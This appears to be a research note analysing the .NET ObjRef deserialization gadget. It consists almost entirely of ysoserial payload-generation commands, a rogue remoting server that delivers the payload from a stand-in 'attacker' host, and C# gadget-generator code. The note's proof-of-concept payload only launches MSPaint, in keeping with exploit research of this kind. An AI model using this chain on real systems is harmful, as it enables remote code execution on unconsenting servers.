dotnet ObjRef Gadget 分析

1
2
3
4
5
6
7
8

# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe > MSPaint.soap

# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap

# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

namespace System.Runtime.Serialization {
 
    using System;
    using System.Security.Permissions;
    // Interface does not need to be marked with the serializable attribute
[System.Runtime.InteropServices.ComVisible(true)]
    public interface IObjectReference {
        [System.Security.SecurityCritical]  // auto-generated_required
        Object GetRealObject(StreamingContext context);
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

using System;
using System.Reflection;
using System.Runtime.Remoting;
using System.Runtime.Serialization;

namespace ConsoleApp.Gadget
{
    internal class ObjRefGenerator
    {
        public static object Create(string uri)
        {
            ObjRef objRef = new ObjRef()
            {
                URI = uri
            };

            typeof(ObjRef).InvokeMember("SetObjRefLite", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.InvokeMethod, null, objRef, null);

            return new ObjRefWrappingException(objRef);
        }
    }

    [Serializable]
    internal class ObjRefWrappingException : ISerializable
    {
        private readonly ISerializable objRef;

        public ObjRefWrappingException(ISerializable objRef)
        {
            this.objRef = objRef;
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(Exception));
            info.AddValue("ClassName", objRef, typeof(object));
        }
    }
}